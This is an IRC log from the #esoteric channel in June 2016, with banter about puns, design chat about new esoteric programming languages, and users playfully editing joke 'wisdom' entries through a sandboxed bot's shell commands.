12:00:30 <oerjan> good afternoily.
12:03:24 -!- MoALTz__ has changed nick to MoALTz.
12:12:41 <boily> børjan matin.
12:12:43 <hppavilion[1]> `? boilylang
12:12:52 <boily> @massages-loud
12:12:52 <lambdabot> hppavilion[1] asked 3h 13m 12s ago: What is the International Shachaf Prototype?
12:13:04 <HackEgo> boilylang? ¯\(°​_o)/¯
12:13:22 <boily> hppavellon[1]. it's the canonical shachaf reference hth
12:13:28 <hppavilion[1]> boily: Well duh
12:13:36 <hppavilion[1]> boily: But what /is/ the canonical shachaf reference?
12:14:11 <hppavilion[1]> What is the pun that gives you the standard basis for measuring puns in terms of shachafs?
12:14:44 <boily> shachaf: hellochaf. what is the true pun?
12:15:11 <hppavilion[1]> boily: shachaf wouldn't tell me or didn't know. I was told to ask you.
12:15:35 * boily quests for the True Pun
12:15:56 <hppavilion[1]> boily: Though shachaf did say "as the tori say: \"we were spheres once, and then they torus a new one\"", which oerjan then hypothesized is the ISP
12:16:05 <shachaf> hppavilion[1]: You didn't even ask me.
12:16:23 <hppavilion[1]> shachaf: I thought I did
12:16:33 <shachaf> I'll request that you use some code name to refer to me, though, because getting pinged by this conversation is annoying.
12:16:45 <shachaf> That pun is certainly not canonical or even characteristic.
12:17:05 * oerjan recommends shagrumpy
12:17:10 <hppavilion[1]> Ah, that works
12:17:15 <hppavilion[1]> shagrumpy: OK
12:17:47 * hppavilion[1] wishes he knew what shachaf already has coded to ping him that isn't eir nick, so that he could choose that as the codeword
12:17:49 <boily> that torus one is a «trou» pun...
12:18:16 <boily> hppavilion[1]: hint: it's "chaf" hth
12:18:26 <hppavilion[1]> That works
12:18:33 <hppavilion[1]> I wonder if shagrumpy was a Boyscowt as a child...
12:19:16 <hppavilion[1]> (Or Girlscowt; you never know on IRC, and I can't remember off the top of my head if someone is male or unspecified- I can remember anything else though, weirdly)
12:19:53 <hppavilion[1]> If shagrumpy went into food preparation, would e be "shachef"?
12:20:08 <hppavilion[1]> (this is me looking for the OTP (One True Pun) btw)
12:20:55 <boily> all those puns will be held against you once I'm awake enough to mapole you as you deserve.
12:21:47 <hppavilion[1]> "Anything you say can and will be held against you" "Chocolate"
12:22:14 <hppavilion[1]> Wait... if the "anything you say..." is actually pretty stupid
12:22:25 * boily unwraps a bar of choklad mörk
12:22:27 <hppavilion[1]> What if I say "Colorless green ideas sleep furiously"?
12:22:37 <hppavilion[1]> I mean, good luck prosecuting me with that
12:23:40 <oerjan> your honor, the defendant clearly admitted to being part of a sleeper cell of environmental terrorists...
12:24:08 * boily munches munches munches ♪
12:24:29 <oerjan> . o O ( why is it choklad mörk rather than mörk choklad )
12:25:11 <boily> because that's what the packaging says. "Choklad mörk" then "Dark chocolate / Chocolat noir".
12:25:53 <hppavilion[1]> oerjan: "...made entirely of dogs"
12:25:57 <oerjan> it's a little weird putting the adjective last in swedish.
12:26:35 <boily> IDSS HTH
12:26:43 <oerjan> `? IDSS
12:26:50 <HackEgo> IDSS? ¯\(°​_o)/¯
12:27:01 <boily> I don't speak Swedish.
12:29:24 <hppavilion[1]> You know that episode of every science- or magic-related TV show where everbody switches brains and can only switch with each other person once?
12:29:52 <oerjan> no.
12:30:00 <hppavilion[1]> oerjan: Really?
12:30:17 <oerjan> i haven't watched that many.
12:30:29 -!- boily has quit (Quit: NIPPLE CHICKEN).
12:30:31 <hppavilion[1]> oerjan: Basically, shagrumpy and boily go to http://www.magicbrainswitcher.com at the same time on a troll
12:30:44 <hppavilion[1]> And they suddenly switch minds
12:30:51 <hppavilion[1]> They freak the fuck out
12:30:57 <oerjan> chaos ensues
12:30:58 <hppavilion[1]> But then when they go back to try to fix it
12:31:14 <hppavilion[1]> They find that it doesn't allow you to switch with someone you've already switched with
12:31:56 <hppavilion[1]> And usually it's resolved by a complicated mathematical process (which may or may not be explained) that gets everybody back where they started
12:32:14 <hppavilion[1]> But there's a much easier AND ethically superior solution
12:32:23 <oerjan> i'm pretty sure i've never seen that episode.
12:32:33 <hppavilion[1]> oerjan: It's in a lot of TV shows
12:32:48 <hppavilion[1]> oerjan: Stargate: SG1, Futurama, probably some others...
12:33:00 <hppavilion[1]> Get all the main people back where they started, but have two or more outsiders who both happen to be trans
12:33:23 <oerjan> i guess this meme started spreading after i stopped watching tv
12:33:34 <hppavilion[1]> Boom. You get the same result for the main characters, AND you've made life easier for some other people. Ethisuccess!
12:35:55 <oerjan> i am not sure transes work that way.
12:36:14 <hppavilion[1]> oerjan: Eh, it's the human race; some will, at the very least
12:36:50 <hppavilion[1]> oerjan: In any situation that most people would find undesirable, there'll always be a group of people who are all for it
12:37:13 <oerjan> also, that only helps if it actually ends up simpler.
12:37:22 <hppavilion[1]> oerjan: Fair enough
12:37:34 <hppavilion[1]> But it probably is marginally simpler
12:38:05 <oerjan> like a rubik's cube where you don't have to solve the bottom
12:38:41 <hppavilion[1]> Yeah, fair e- waaaait
12:38:46 <hppavilion[1]> Combination locks are weird
12:39:11 <hppavilion[1]> For most of them, the last number doesn't actually matter, but you can't remove it
12:39:42 <oerjan> okay?
12:41:14 <hppavilion[1]> oerjan: I'm talking about twisty ones; you can test all possible last numbers for most of them in one go
12:41:23 <hppavilion[1]> https://www.youtube.com/watch?v=pdsey0irfSs is beautiful
12:50:37 -!- oerjan has quit (Quit: Later).
13:18:59 -!- Sgeo has quit (Read error: Connection reset by peer).
13:28:20 -!- Koen_ has quit (Remote host closed the connection).
13:29:35 -!- Koen_ has joined.
13:36:01 <b_jonas> `ftoc -90
13:36:12 <HackEgo> ​-90.00°F = -67.78°C
13:49:22 <hppavilion[1]> https://en.wikipedia.org/wiki/Albert_Einstein%27s_brain
13:53:00 <Koen_> 1955 - 1978 : 23 years before it was revealed. are we sure it's his?
13:53:51 <hppavilion[1]> Koen_: That is a rather excellent question
14:00:56 -!- gamemanj has joined.
14:50:08 -!- I has joined.
14:50:31 -!- I has changed nick to Guest32135.
14:58:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
15:24:03 -!- Cale has quit (Read error: Connection reset by peer).
15:25:30 -!- Cale has joined.
15:31:38 -!- idris-bot has quit (Quit: Terminated).
15:32:56 -!- Melvar has quit (Quit: thunderstorm).
16:01:09 -!- Melvar has joined.
16:03:55 -!- idris-bot has joined.
16:06:10 -!- bender__ has joined.
16:06:53 -!- bender__ has quit (Changing host).
16:06:53 -!- bender__ has joined.
16:06:56 -!- bender__ has changed nick to bender.
16:22:02 -!- Phantom_Hoover has quit (Ping timeout: 258 seconds).
16:38:13 -!- Akaibu has joined.
16:41:28 -!- Phantom_Hoover has joined.
16:48:32 -!- bender has quit (Quit: [rejoin after i minutes]).
16:49:30 -!- Phantom_Hoover has quit (Ping timeout: 244 seconds).
16:58:24 -!- Cale has quit (Ping timeout: 250 seconds).
17:02:22 -!- AnotherTest has joined.
17:04:39 -!- Cale has joined.
17:05:27 <HackEgo> [wiki] [[Stack Up]] N https://esolangs.org/w/index.php?oldid=47196 * Qwertyu63 * (+2306) Created page with "'''Stack Up''' is a stack-based programming language. Stack Up uses two LIFO data stacks for storing and processing data. Each stack has no maximum depth beyond that which is..."
17:06:02 <HackEgo> [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47197&oldid=47196 * Qwertyu63 * (+19)
17:08:59 -!- Phantom_Hoover has joined.
17:10:20 -!- heroux has quit (Ping timeout: 244 seconds).
17:10:39 -!- heroux has joined.
17:16:37 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47198&oldid=47185 * Qwertyu63 * (+15)
17:22:55 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds).
17:28:25 -!- Kaynato has joined.
17:38:47 -!- lifthrasiir has quit (Ping timeout: 260 seconds).
17:42:03 -!- Phantom_Hoover has joined.
17:45:20 -!- lifthrasiir has joined.
17:55:06 -!- lifthrasiir has quit (Quit: planned doom of irssi).
17:55:16 -!- rodgort has quit (Ping timeout: 252 seconds).
17:55:32 -!- lifthrasiir has joined.
17:56:31 <HackEgo> [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47199&oldid=47197 * Qwertyu63 * (+117)
17:57:07 <HackEgo> [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47200&oldid=47199 * Qwertyu63 * (+0)
18:11:39 -!- jaboja has joined.
18:23:14 -!- Koen_ has quit (Remote host closed the connection).
18:27:19 -!- Phantom_Hoover has quit (Ping timeout: 244 seconds).
18:40:29 <shachaf> fizzie: Is there a relevant change in .fi domain name handling?
18:43:11 -!- Koen_ has joined.
18:46:52 -!- Phantom_Hoover has joined.
18:53:33 -!- rodgort has joined.
19:00:56 -!- zzo38 has quit (Remote host closed the connection).
19:08:06 -!- oerjan has joined.
19:09:14 -!- xkapastel has joined.
19:11:39 -!- Frooxius has quit (Quit: *bubbles away*).
19:12:02 -!- Frooxius has joined.
19:12:50 -!- moon_ has joined.
19:13:02 <moon_> 1f1
19:14:37 <oerjan> > 0x1f1
19:14:39 <lambdabot> 497
19:15:13 <moon_> 1f1->(V+52)^2->o2
19:15:54 <moon_> translation: get input from side one -> take input and add 52, then square -> output to side two
19:18:15 <oerjan> okay
19:18:28 <moon_> effective description of node: io: 1i 2o 3n 4n 5n 6n src: f1->(V+52)^2->o2 cmnt: the extra 1 was a personal error
19:21:22 -!- hwpplayer1 has joined.
19:23:03 -!- lifthrasiir has quit (Ping timeout: 240 seconds).
19:24:07 -!- lifthrasiir has joined.
19:24:42 <moon_> Well, really thats me typing mindlessly into the wrong thing for esolang planning
19:25:09 * moon_ slaps self for typing mindlessly into the wrong thing
19:35:38 -!- Phantom_Hoover has quit (Quit: Leaving).
19:38:19 -!- hwpplayer1 has left.
19:40:04 -!- jaboja has quit (Read error: Connection reset by peer).
19:48:10 -!- AnotherTest has quit (Ping timeout: 260 seconds).
19:49:07 -!- spiette has joined.
20:59:52 -!- iaglium has quit (Ping timeout: 272 seconds).
21:00:53 -!- MoALTz has quit (Quit: Leaving).
21:09:32 -!- MoALTz has joined.
21:16:58 -!- oerjan has quit (Quit: Nite).
21:27:14 -!- Akaibu has quit (Quit: Connection closed for inactivity).
21:31:51 -!- Guest0 has joined.
21:32:26 -!- Guest0 has quit (Max SendQ exceeded).
21:45:28 -!- Cale has quit (Ping timeout: 272 seconds).
21:49:06 -!- Cale has joined.
21:51:33 -!- AnotherTest has joined.
21:56:35 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:15:00 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
22:24:22 -!- spockers has joined.
22:28:01 -!- gamemanj has quit (Ping timeout: 240 seconds).
22:35:06 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
22:35:52 -!- spockers has joined.
22:36:28 -!- Lord_of_Life has quit (Excess Flood).
22:40:09 -!- Lord_of_Life has joined.
22:49:30 -!- Akaibu has joined.
23:10:55 <moon_> spambreaker
23:20:11 -!- Sgeo has joined.
23:20:38 -!- boily has joined.
23:20:45 <moon_> helloily
23:21:29 <moon_> hi boily
23:21:55 <boily> mhelloon_!
23:22:35 <shachaf> That sounds like "granfalloon".
23:23:30 <moon_> no it sounds like melloon
23:24:11 <moon_> now excuse me while i remind boily i am _not_ a melon
23:25:12 <boily> https://youtu.be/4dAy9u0_9nM ♪
23:25:28 <boily> hellochaf. it sounds like "granfalloon".
23:30:37 -!- Guest32135 has quit (Quit: This computer has gone to sleep).
23:37:57 <boily> `wisdom
23:38:11 <HackEgo> trantor//Coruscant is a planet covered entirely by a city. It is the capital of the Galactic Empire, and the home for the biggest library in it.
23:38:27 <shachaf> is your PhD in Heying algebra complete yet
23:38:47 <shachaf> `culprits wisdom/trantor
23:39:06 <HackEgo> b_jonas b_jonas
23:39:34 -!- Koen_ has quit (Remote host closed the connection).
23:39:38 <boily> no, I need to recruit more undergrads.
23:40:04 <shachaf> b_jonas: what's that wisdom entry for
23:40:09 -!- boily has quit (Quit: CHARGING CHICKEN).
23:42:19 -!- Koen_ has joined.
23:51:49 -!- Guest0 has joined.
23:52:24 -!- Guest0 has quit (Max SendQ exceeded).
23:53:11 -!- Guest0 has joined.
2016-06-14
00:23:00 -!- ais523 has joined.
00:24:21 <quintopia> bom dias523
00:51:18 <HackEgo> [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47201&oldid=47194 * Qwertyu63 * (-2173) Replaced content with "Writer of [[Stack Up]]."
01:04:19 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
01:16:30 <moon_> (i1^i2)=>(V/2)~>o3|(V*2)->"cow"aV->o4
01:18:47 <moon_> outputs: (value of (input 1 ^ input 2) / 2) (cow with (V*2) appended)
01:19:31 <Sgeo> Can someone who likes Erlang/Elixir/OTP explain to me what the difference between a named gen_server and a global variable is?
01:23:23 -!- augur has joined.
01:25:51 -!- xkapastel has quit (Quit: Connection closed for inactivity).
01:29:08 -!- boily has joined.
01:44:25 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:52:50 <boily> `wisdom
01:53:13 <HackEgo> time cube//EARTH HAS 4 CORNER SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HORU ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wro
01:53:39 <moon_> ???
01:54:06 -!- sebbu has quit (Ping timeout: 250 seconds).
02:00:15 <boily> remhelloon_. Time Cube was a website. it had content. the content was of a slightly confusing nature.
02:05:00 <moon_> (i1^i2)=>(V/2)~>o3|(V*2)->"cow"aV->o4
02:05:19 <moon_> im making a intresting new esolang based on nodes on a grid
02:05:40 <moon_> im thinking about making it purely conditional, aka a state machine
02:05:55 -!- spiette has quit (Quit: :qa!).
02:06:38 <boily> moon_: as long as it's unzucchinilike enough!
02:06:52 <moon_> ?
02:06:58 <moon_> zuccini?
02:07:55 <boily> http://esolangs.org/wiki/Zucchini ← Zucchini.
02:08:18 <moon_> ah
02:08:24 <quintopia> oh
02:08:31 <quintopia> boily came back late
02:08:41 <quintopia> what is this randomness
02:08:46 <quintopia> a day off?
02:09:09 <quintopia> dont go shifting time zones AGAIN
02:09:25 <boily> quinthellopia!
02:09:35 <boily> I got brotherly invaded. he's spending the week here!
02:09:57 <boily> the timeshift is only up until Friday morning.
02:09:59 <quintopia> oh okay
02:10:20 <boily> how's life on your end? do you have any invasions lately?
02:10:37 <quintopia> i invaded philly over the weekend
02:10:41 <moon_> the nodes are on a 2d grid (i might make it 3d) and i have decided to make it purely conditional, i.e i1>2 -> o2<=1
02:11:15 <quintopia> it should uncellbrain like too
02:11:20 <moon_> i was invaded by 3 noisy loud things
02:11:38 <quintopia> its american ninjacwarrior season
02:11:39 <moon_> they are called 'humans'
02:11:54 <moon_> what are humans *pulled off bad joke*
02:14:22 <moon_> A null (uncoded) cell cannot exist, and aaa^2 to zzz^2 functions are possible functions are specified by a 3x3 'cell' and functions are defined offgrid
02:14:50 <moon_> generally the program is always n^2
02:14:55 <moon_> cells big
02:15:12 <boily> moon_: what kind of humans? tall, small, low albedo, bumpy, gritty, plasmatic?
02:15:46 <moon_> also, io is considered to be any interaction with the edges of the program
02:16:09 <moon_> and all cells run synchronously
02:16:11 <quintopia> .... that is suspiciously cellbrain like
02:16:57 <moon_> i've never seen cellbrain
02:18:46 -!- spockers has joined.
02:18:53 <quintopia> https://esolangs.org/wiki/Cellbrain
02:19:42 <moon_> basic info: cell based. conditonal only. no direct memory access 3x3 grid specifys functions with the characters a-z being used as the combo.
02:21:14 <boily> time for nocturnal cadaverousness.
02:21:19 <boily> 'nnuit!
02:21:25 -!- boily has quit (Quit: SCREAMING CHICKEN).
02:21:45 <moon_> what is it with boily and chickens
02:21:51 <HackEgo> [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47202&oldid=47198 * Ais523 * (+24) /* S */ let's create a language the old-fashioned way (i.e. editing a link to the page into the language list, then writing the page about it)
02:22:08 -!- ^^v has joined.
02:24:04 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
02:29:00 <quintopia> ais523: risktaker!
02:32:28 -!- moon_ has quit (Ping timeout: 250 seconds).
02:38:30 -!- Guest0 has quit (Quit: Textual IRC Client: www.textualapp.com).
02:39:27 <Sgeo> Easiest way to add to wisdom?
02:40:20 <HackEgo> [wiki] [[Subtractpocalypse]] N https://esolangs.org/w/index.php?oldid=47203 * Ais523 * (+2785) Created page with "'''Subtractpocalypse'''' is an [[esoteric programming language]] created by [[User:ais523]] in [[:Category:2016|2016]]. == Data storage == Like a [[Minsky machine]], Subtrac..."
02:41:01 <ais523> Sgeo: `learn or `le/rn
02:41:38 <HackEgo> [wiki] [[User:Ais523]] https://esolangs.org/w/index.php?diff=47204&oldid=46085 * Ais523 * (+23) +[[Subtractpocalypse]]
02:41:39 <Sgeo> `learn erlang has tricked people into loving global mutable variables while pretending to embrace immutability
02:41:58 <HackEgo> Learned 'erlang': erlang has tricked people into loving global mutable variables while pretending to embrace immutability
03:02:51 -!- ^^v has quit (Ping timeout: 264 seconds).
03:42:29 -!- bender has joined.
03:50:50 -!- sebbu has joined.
04:16:50 -!- ais523 has quit (Ping timeout: 260 seconds).
04:25:31 -!- hppavilion[1] has joined.
04:49:58 <hppavilion[1]> Hm...
04:50:14 <hppavilion[1]> Lots of people on youtube make comments specifying the current number of dislikers to criticize them
04:50:23 <hppavilion[1]> But it always changes
04:50:33 <hppavilion[1]> I'd think YouTube would've added a content generator for that by now
05:04:14 -!- spockers has joined.
05:16:10 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
05:38:32 -!- hppavilion[1] has joined.
05:39:20 -!- Kaynato has quit (Ping timeout: 244 seconds).
05:51:43 <hppavilion[1]> Omniscient databae are fun
05:53:48 -!- dnm has quit (Ping timeout: 244 seconds).
06:00:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
06:09:21 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
06:18:57 -!- hppavilion[1] has joined.
06:45:35 -!- spockers has joined.
07:00:07 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
07:00:59 * Sgeo is almost thinking of Elixir as being similar to Clojure except on a host that's not utterly at odds with the new language
07:05:41 -!- PinealGlandOptic has joined.
07:47:11 <izabera> https://arin.ga/JHlKMt/raw thoughts on this?
07:47:28 <izabera> look at the main function
08:21:39 -!- Destructible has joined.
08:21:45 <Destructible> hi
08:28:16 -!- Destructible has quit (Quit: Page closed).
09:14:57 -!- fractal has quit (Ping timeout: 244 seconds).
09:56:56 -!- augur has quit (Remote host closed the connection).
10:20:59 -!- fractal has joined.
11:02:36 -!- hppavilion[1] has joined.
11:21:57 -!- Koen_ has joined.
11:27:34 -!- MoALTz has quit (Ping timeout: 244 seconds).
11:39:27 -!- Phantom_Hoover has joined.
11:39:30 -!- Phantom__Hoover has joined.
11:39:46 -!- atrapado has joined.
11:40:41 -!- boily has joined.
11:46:39 <boily> `wisdom
11:47:01 <HackEgo> hth//hth is help received from a hairy toe. It is not at all hambiguitous.
11:47:31 <hppavilion[1]> hth tells heresy
11:47:42 <hppavilion[1]> `? wisdom
11:47:50 <HackEgo> wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø?
11:47:54 <boily> hppavellon[1]. hth is hth hth
11:48:02 <hppavilion[1]> `? intelligence
11:48:06 <HackEgo> Intelligence is a scarce resource that is distributed by the CIA.
11:48:09 <hppavilion[1]> Hm...
11:48:16 <hppavilion[1]> `? cleverness
11:48:18 <HackEgo> cleverness? ¯\(°​_o)/¯
11:48:30 -!- Phantom__Hoover has quit (Ping timeout: 250 seconds).
11:48:36 <hppavilion[1]> `? clever
11:48:39 <HackEgo> clever? ¯\(°​_o)/¯
11:48:55 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds).
11:49:09 <hppavilion[1]> `le/rn clever/Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities.
11:49:16 <HackEgo> Learned «clever»
11:49:27 -!- Phantom_Hoover has joined.
11:49:37 <hppavilion[1]> boily: Is that one good?
11:50:52 <boily> it's clever.
11:50:59 <hppavilion[1]> boily: Than- waaait
11:51:02 <boily> :D
11:51:11 <hppavilion[1]> `? children
11:51:13 -!- boily has quit (Quit: AMALGAMATED CHICKEN).
11:51:14 <HackEgo> children? ¯\(°​_o)/¯
11:51:24 <hppavilion[1]> `learn Children are a fungible commodity
11:51:32 <HackEgo> Learned 'children': Children are a fungible commodity
12:00:00 <int-e> @devils children
12:00:02 <lambdabot> No match for "children".
12:00:05 <int-e> pity.
12:01:30 <int-e> `? cat
12:01:37 <HackEgo> Cats are cool, but should be illegal.
12:03:08 -!- AnotherTest has joined.
12:04:46 <int-e> @devils childhood
12:04:48 <lambdabot> *** "childhood" devil "The Devil's Dictionary (1881-1906)"
12:04:48 <lambdabot> CHILDHOOD, n. The period of human life intermediate between the
12:04:48 <lambdabot> idiocy of infancy and the folly of youth -- two removes from the sin
12:04:48 <lambdabot> of manhood and three from the remorse of age.
12:04:48 <lambdabot>
12:05:09 <int-e> so there's *something*. (there's also an entry on babies but it's too long)
12:05:29 <int-e> @devils circus
12:05:30 <lambdabot> *** "circus" devil "The Devil's Dictionary (1881-1906)"
12:05:30 <lambdabot> CIRCUS, n. A place where horses, ponies and elephants are permitted
12:05:30 <lambdabot> to see men, women and children acting the fool.
12:05:30 <lambdabot>
12:22:54 <b_jonas> shachaf: probably just a jab at the obvious theory that some of the city planets Trantor, Coruscant, and Ravnica (which are all entirely covered by a city) must be the same. I think I added a corresponding wisdom/coruscant entry.
12:44:54 -!- gamemanj has joined.
13:09:47 -!- AnotherTest has quit (Ping timeout: 258 seconds).
13:14:05 -!- Koen__ has joined.
13:14:58 -!- dnm has joined.
13:15:09 -!- oerjan has joined.
13:16:28 -!- Koen_ has quit (Ping timeout: 272 seconds).
13:19:12 -!- Vorpal has quit (Ping timeout: 250 seconds).
13:40:37 <oerjan> `? erlang
13:40:53 <HackEgo> erlang has tricked people into loving global mutable variables while pretending to embrace immutability
13:41:15 <oerjan> `sled/wisdom/erlang/s/./E/;s/$/./
13:41:18 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/sled/wisdom/erlang/s/./E/;s/$/./: No such file or directory
13:41:26 <oerjan> `sled wisdom/erlang/s/./E/;s/$/./
13:41:27 <HackEgo> usage: sled file//script
13:41:32 <oerjan> `sled wisdom/erlang//s/./E/;s/$/./
13:41:38 <HackEgo> wisdom/erlang//Erlang has tricked people into loving global mutable variables while pretending to embrace immutability.
13:41:46 <oerjan> brains, htf to they work
13:44:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
13:56:01 -!- atrapado has quit (Ping timeout: 244 seconds).
13:56:23 <oerjan> `? children
13:56:58 <HackEgo> Children are a fungible commodity
13:57:09 <oerjan> `sled wisdom/children//s/$/./
13:57:15 <HackEgo> wisdom/children//Children are a fungible commodity.
13:59:13 -!- atrapado has joined.
14:03:04 -!- r00trs has joined.
14:03:53 <r00trs> hey
14:04:06 -!- MDude has joined.
14:17:17 -!- r00trs has quit (Quit: Leaving).
14:35:06 -!- atrapado has quit (Quit: Leaving).
14:51:28 -!- atrapado has joined.
14:59:49 -!- I has joined.
15:00:13 -!- I has changed nick to Guest92441.
15:00:24 -!- moon_ has joined.
15:01:19 <moon_> someone made a defuse thi bomb challange in tpt, do they not know about CRAY and its erasing powers?
15:03:28 -!- Guest92441 has changed nick to `^_^v.
15:17:11 <int-e> wtf
15:17:34 <int-e> `? moon
15:17:47 <HackEgo> Moon is a murderous person, not an unretroreflectorey object.
15:17:47 <gamemanj> tpt?
15:18:10 <gamemanj> ...a "murderous person"? hmm
15:18:13 <int-e> `` echo bin/*appe*
15:18:16 <HackEgo> bin/append bin/learn_append bin/learn_append2
15:18:18 <gamemanj> I think Wisdom's scoring low on the reliability test today
15:18:38 <oerjan> gamemanj: i'm sorry but that information was based on clear log evidence hth
15:18:42 <int-e> `` sed -i s/person/lunatic/ wisdom/moon
15:18:45 <gamemanj> ...nevermind then
15:18:47 <HackEgo> No output.
15:19:11 * gamemanj hides
15:19:20 <int-e> (it was missing the obvious pun)
15:20:24 <gamemanj> (...I'm not even sure it's a pun)
15:20:39 * gamemanj searches "lunatic etymology"
15:20:44 <gamemanj> yep
15:20:44 <oerjan> i can confirm it's a pun hth
15:22:34 <oerjan> `` ls bin/*ed
15:22:38 <HackEgo> bin/med \ bin/sled
15:22:48 <oerjan> `file bin/med
15:22:50 <HackEgo> bin/med: ASCII text
15:22:54 <oerjan> `cat bin/med
15:22:55 <HackEgo> ​#Rewritten by hand \ #info on lines 2 4 9 15 20 26.. continued on line 2 \ #32 38 \ if [ "$1" == "rl" ]; then #readline \ NUM="$3" \ cat "$2" | sed "${NUM}!d" \ exit 0 \ fi \ if [ "$1" == "rr" ]; then #readrange \ NUM="$3" \ NUM2="$4" \ cat "$2" | sed "${NUM},${NUM2}!d" \ exit 0 \ fi \ if [ "$1" == "dl" ]; then #delete line \ NUM="$3" \
15:23:07 <oerjan> oh that one
15:23:13 <oerjan> `` ls bin/sl*
15:23:15 <HackEgo> bin/slashes \ bin/slashlearn \ bin/sled \ bin/slist
15:24:00 <oerjan> `mkx slwd sled "wisdom/$1"
15:24:02 <HackEgo> usage: mk[x] file//contents
15:24:09 <moon_> `med rr bin/med 1 3
15:24:10 <HackEgo> No output.
15:24:10 <oerjan> `mkx bin/slwd//sled "wisdom/$1"
15:24:14 <HackEgo> bin/slwd
15:24:19 <moon_> `med rr 1 3 bin/med
15:24:21 <HackEgo> No output.
15:24:29 <moon_> i forgot my own syntax
15:25:13 <int-e> `` med rr 1 3 bin/med
15:25:17 <HackEgo> cat: 1: No such file or directory \ sed: -e expression #1, char 3: unexpected `,'
15:25:18 <oerjan> `` ls bin/*sl*
15:25:22 <HackEgo> bin/mislearn \ bin/slashes \ bin/slashlearn \ bin/sled \ bin/slist \ bin/slwd \ bin/translate \ bin/translatefromto \ bin/translateto \ bin/translatetoerjan
15:25:32 <moon_> `` med bin/med 1 3
15:25:34 <HackEgo> No output.
15:25:44 <moon_> .-. i certainly did
15:25:45 <int-e> `cat bin/mislearn
15:25:46 <HackEgo> ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\?[:;,.!?]\? .*//') \ echo "$1" >"tmflry/$topic" \ echo "Was lied to about '$topic': $1"
15:26:07 <int-e> huh. tomfoolery?
15:26:28 <int-e> `` echo bin/t*m*f*l
15:26:30 <HackEgo> bin/t*m*f*l
15:26:32 <int-e> `` echo bin/t*m*f*l*
15:26:34 <HackEgo> bin/tomfoolery
15:26:44 <int-e> `tomfoolery
15:26:45 <HackEgo> I have nothing to tell you.
15:26:55 <moon_> `tomfoolery de
15:26:57 <HackEgo> I must confess, I know not of what you are speaking.
15:27:04 <moon_> `tomfoolery error
15:27:05 <HackEgo> I must confess, I know not of what you are speaking.
15:27:12 <moon_> `tomfoolery moon_
15:27:14 <HackEgo> I must confess, I know not of what you are speaking.
15:27:17 <moon_> )=
15:27:24 <int-e> `` cd tmflry; echo *
15:27:25 <HackEgo> ​@ brainfuck c++ C++ cat esolang esolangs #esoteric fs hth mapole `mislearn mycology ntitai random number tdnh the meaning of life tomfoolery wiki wisdom
15:27:34 <int-e> `tomfoolery wisdom
15:27:36 <HackEgo> wisdom is tomfoolery
15:27:43 <moon_> `tomfoolery c++
15:27:45 <HackEgo> C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse.
15:27:52 <moon_> `tomfoolery C++
15:27:53 <HackEgo> C++ is an attempt to improve upon C. The only thing it actually improved was memory management, and it made everything else worse.
15:28:12 <int-e> `? *
15:28:15 <HackEgo> Twinkle, twinkle, little star!
15:28:23 <moon_> generally i kinda agree there, not everything tho, classes were a huge improvement
15:28:27 <int-e> heh, it survived
15:28:39 <gamemanj> now I wonder what you are
15:28:44 <gamemanj> up above the channel so high
15:28:49 <gamemanj> like an asterisk in the sky
15:29:02 <moon_> i saw that coming
15:29:08 <moon_> twinkle twinkle little star
15:29:21 <moon_> *i forgot the last few lines )=*
15:33:47 -!- Akaibu has quit.
16:00:53 -!- AnotherTest has joined.
16:04:36 -!- nycs has joined.
16:05:35 -!- `^_^v has quit (Ping timeout: 260 seconds).
16:20:37 -!- nycs has quit (Quit: This computer has gone to sleep).
16:22:42 -!- I has joined.
16:23:00 -!- I has changed nick to Guest19103.
16:31:14 -!- oerjan has quit (Quit: Later).
16:34:37 -!- Guest19103 has quit (Quit: This computer has gone to sleep).
16:35:45 -!- augur has joined.
16:36:32 -!- nycs has joined.
17:01:03 -!- hwpplayer1 has joined.
17:02:06 -!- Koen__ has quit (Remote host closed the connection).
17:05:44 -!- jaboja has joined.
17:15:36 -!- moon_ has quit (Ping timeout: 250 seconds).
17:15:46 -!- Koen_ has joined.
17:20:26 -!- Koen_ has quit (Ping timeout: 250 seconds).
17:33:26 -!- Kaynato has joined.
17:34:21 <Taneb> Hmm
17:34:26 <Taneb> If I'm to follow my dream
17:34:46 <Taneb> I need to start thinking about applying for postgraduatey things
17:40:39 -!- atrapado has quit (Ping timeout: 264 seconds).
17:42:51 -!- hwpplayer1 has quit (Remote host closed the connection).
17:43:50 -!- atrapado has joined.
17:47:18 -!- AnotherTest has quit (Ping timeout: 250 seconds).
17:54:51 -!- spiette has joined.
17:56:24 -!- sebbu has quit (Ping timeout: 250 seconds).
17:56:54 -!- bender has quit (Ping timeout: 258 seconds).
18:12:06 -!- jaboja has quit (Read error: No route to host).
